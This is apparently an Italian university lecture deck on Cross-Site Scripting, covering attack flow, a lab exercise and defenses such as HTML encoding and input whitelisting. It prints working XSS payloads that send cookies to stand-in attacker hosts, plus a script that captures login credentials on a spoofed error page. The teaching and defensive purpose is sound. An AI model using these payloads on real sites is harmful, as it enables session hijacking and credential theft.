320 likes | 465 Views
Cross Site Scripting. Prof. Stefano Bistarelli. C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa. Università “G. d’Annunzio” Dipartimento di Scienze, Pescara. Cos' è il CSS?. Una tecnica che consente agli hacker di:
E N D
Cross Site Scripting Prof. Stefano Bistarelli CConsiglio Nazionale delle Ricerche IitIstituto di Informatica e Telematica - Pisa Università “G. d’Annunzio”Dipartimento di Scienze, Pescara
Cos'èilCSS? • Unatecnicacheconsenteaglihackerdi: • Eseguire script dannoso nel browser Web di un client • Inserire tag <script>, <object>, <applet>, <form> e <embed> • Rubare informazioni sulla sessione Web e cookie di autenticazione • Accedere al computer client QualsiasipaginaWebcheesegueilrenderingHTMLecontenenteinputdell'utenteèvulnerabile S. Bistarelli - Metodologie di Secure Programming
[7] utilizzo del token rubato per autenticarsi al servizio [1] Richiesta [3] Invio malicious code mascherato da informativa della banca [6] Internet Internet [4] www.my-banca.it/VulnApp.jsp?e=<script “malizioso”> [6] Invio di token di autenticazione all’attaccante [5] Risposta: pagina voluta dall’attaccante eseguita sul browser dell’utente A.4: Principi di Cross-Site-Scripting (XSS) Attacker [2] Risposta DataBase Web server www.my-banca.it App. server WebApp vulnerabile al XSS user S. Bistarelli - Metodologie di Secure Programming
A.4: Cross-Site-Scripting (2) • GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 • Host: www.my-banca.it • ... • La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dell’utente ignaro): • <HTML> • <Title>Welcome!</Title> • Hi <script>alert(document.cookie)</script> • <BR> Welcome to our system • ... • </HTML> S. Bistarelli - Metodologie di Secure Programming
A.4: Cross-Site-Scripting (3) • Il malicious link può essere: • http://www.my-banca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> • La risposta del server sarà: • <HTML> • <Title>Welcome!</Title> • Hi • <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> • <BR>Welcome to our system • ... • </HTML> Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante S. Bistarelli - Metodologie di Secure Programming
DueimpieghicomunidelCSS • AttaccarelepiattaformedipostaelettronicabasatesulWebei forum • Utilizzo dei tag <form> HTML per reindirizzare informazioni private S. Bistarelli - Metodologie di Secure Programming
Attacchibasatisuform(1di2) Response.Write("Welcome"& Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming
Site soggetti a XSS/CSS • Vediamo l’esempio • http://localhost/CrossScripting/Login.aspx S. Bistarelli - Metodologie di Secure Programming
Proviamo.. • Iniettiamo codice e vediamo che succede • … • <script>alert(‘ciao’)</script> • <script>alert(document.cookie)</script> • Script eseguito sul mio browser … • Ma come faccio io attaccante che non sono su macchina del client .. a prendermi il cookie?? • …cerco il campo di input … • txtname S. Bistarelli - Metodologie di Secure Programming
E se chiamo la pagina cosi’? • http://localhost/CrossScripting/Login.aspx?txtname=<script>alert('ciao')</script> • Funziona lo stesso!! • Quindi se mando link a Maria e lei clicca esegue sul suo browser (credendo di andare al suo sito) il mio script!! S. Bistarelli - Metodologie di Secure Programming
Attacchibasatisuform(1di2) Response.Write("Welcome"& Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming
… • Ma come faccio io attaccante ad avere le info sul mio sito e non sullo schermo di Maria?? S. Bistarelli - Metodologie di Secure Programming
Attacchibasatisuform(2di2) <ahref=http://www.contoso.msft/welcome.asp?name=<FORMaction=http://www.nwtraders.msft/data.aspmethod=postid=“idForm”><INPUTname=“cookie”type=“hidden”></FORM><SCRIPT>idForm.cookie.value=document.cookie;idForm.submit();</SCRIPT>> here </a> S. Bistarelli - Metodologie di Secure Programming
<script> • window.onload = function() • { • document.forms[0].onsubmit = function () • { • return Hack() • } • } • function Hack() • { • var action="http://localhost/Hack/Hack.asp"; • document.forms[0].action=action;document.forms[0].method="GET"; • return true; • } • </script> S. Bistarelli - Metodologie di Secure Programming
In generale … • Se ho input di questo tipo: • http://victim.com/search.php ? term = apple • search.php responds with: • <HTML> <TITLE> Search Results </TITLE> • <BODY> • Results for <?php echo $_GET[term] ?> : • . . . • </BODY> </HTML> S. Bistarelli - Metodologie di Secure Programming
Posso usarlo cosi!! • http://victim.com/search.php ? term = • <script> window.open( • “http://badguy.com?cookie = ” + • document.cookie ) </script> • Se la mia vittima clicca su questo link? • Browser va a victim.com/search.php • Victim.com restituisce • <HTML> Results for <script> … </script> • Browser executes script: • Sends badguy.com cookie for victim.com S. Bistarelli - Metodologie di Secure Programming
So what? • Perche’ un utente dovrebbe cliccare su quel link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad • … many many ways to fool user into clicking • Vedi esempio mail poste.it!! • Cosa ci fa badguy.com con il cookie di victim.com ? • Puo’ essere usato per spacciarsi per quell’utente per esempio!! (vedi lezione su cookies!!) S. Bistarelli - Metodologie di Secure Programming
Even worse • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Can infect other users: MySpace.com worm. S. Bistarelli - Metodologie di Secure Programming
Difesa … S. Bistarelli - Metodologie di Secure Programming
Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) • & & " " ' ' < < > > • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); • Outputs: <a href='test'>Test</a> S. Bistarelli - Metodologie di Secure Programming
Avoiding XSS bugs (ASP.NET) • ASP.NET 1.1: • Server.HtmlEncode(string) • Similar to PHP htmlspecialchars • validateRequest: (on by default) • Crashes page if finds <script> in POST data. • Looks for hardcoded list of patterns. • Can be disabled: • <%@ Page validateRequest=“false" %> S. Bistarelli - Metodologie di Secure Programming
Esercizio lab S. Bistarelli - Metodologie di Secure Programming
esercizio • In this scenario, you have a web application that supports both anonymous and authenticated users, the latter of which are authenticated using ASP.NET Forms logon. The application is a message board which allows any user to post a message that all others can read. S. Bistarelli - Metodologie di Secure Programming
Giochiamo con l’applicazione • 2 utenti registrati (hard coded (no db)) • alice – password • bob – password • Entriamo come alice e inviamo un messaggio • NO HTML • Ora entriamo come black hat (anonimo) e vediamo se supporta XSS • Si!! S. Bistarelli - Metodologie di Secure Programming
Postiamo questo codice!! • <h2>Wow, this site has a nasty XSS vulnerability!</h2> • <input type='button' value='Click me for a laugh!' onclick='changePersonality()'/> • <h2>I wonder if I can see your cookie with this script?</h2> • <input type='button' value='Click to see your cookie!' onclick='alert(document.cookie)'/> • <h2>Hey, would you post your cookie to my website please?</h2> • <input type='button' value='Click to POST your cookie!' onclick='alert("Just kidding, but keep in mind that a real attacker would not ask before doing this!")'/> • <script> • function changePersonality() { • var image = document.images[0] • if (image.src.match('google')) { • // switch back to Fabrikam • image.src = 'art/Fabrikam.gif'; • } • else { • // switch to Google • image.src = 'http://www.google.com/intl/en/images/logo.gif'; • } • } • </script> S. Bistarelli - Metodologie di Secure Programming
Ora immaginiamo .. • Che alice entri e veda il codice … • Alice non lo sa ma: • Attaccante ha controllo completo della pagina • (vedi come cambia immagine) • Attaccante puo’ rubare informazioni da alice (o meglio per ora le visualizza e basta, ma potrebbe facilmente reindirizzarle (ricordatevi esempi precedenti) • Visualizza cookies S. Bistarelli - Metodologie di Secure Programming
Difesa • Usare htmlencode su testo output! • text = Server.HtmlEncode(r.ReadToEnd()); • Filtra input • // filter the input using a whitelist - look for what is good! string pattern = @"^[-\s\w\d.,!@#%&?*()+=|{}[\]:;/^$\\""']*$"; if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) { string errorMessage = "Your post has one or more disallowed " + "characters (no HTML, please)."; Response.Redirect(@"~\error.aspx?msg=" + Server.UrlEncode(errorMessage)); return; } • Sembra tutto a posto ora?? • E invece no chi sa perchè? S. Bistarelli - Metodologie di Secure Programming
XSS su error page • Error chiamata con un parametro di input!! • Proviamo a cambiare input! • “ciao a tutti” funziona!! • Posso modificare la pagina come voglio!! • Phishing attack!! • lab-css\CrossSiteScripting\before\XSSWeb\phishing_email.htm • Il link nella pagina porta alla pagina di errore opportunamente modificata!! S. Bistarelli - Metodologie di Secure Programming
Ecco il messaggio per la pag di errore • var html = "Please log in. You will be automatically registered for a free gift!" + • "<script>" + • "var u, p;" + • "function myLogon() {" + • "u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" + • "p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" + • "}" + • "function thanks() { " + • "var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " + • "Oh and by the way, I learned something about you today. " + • "Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" + • "document.getElementById('ctl00_MainBody_message').innerText=msg;" + • "}" + • "document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" + • "document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" + • "document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" + • "document.forms[0].action = 'javascript:thanks()';" + • "<\/script>"; S. Bistarelli - Metodologie di Secure Programming
Fix la pagina error! • Su error page • Htmlencode input • message.Text = Server.HtmlEncode(Request.QueryString["msg"]); • Nota su web.config • <pages validateRequest="false"/> trrue S. Bistarelli - Metodologie di Secure Programming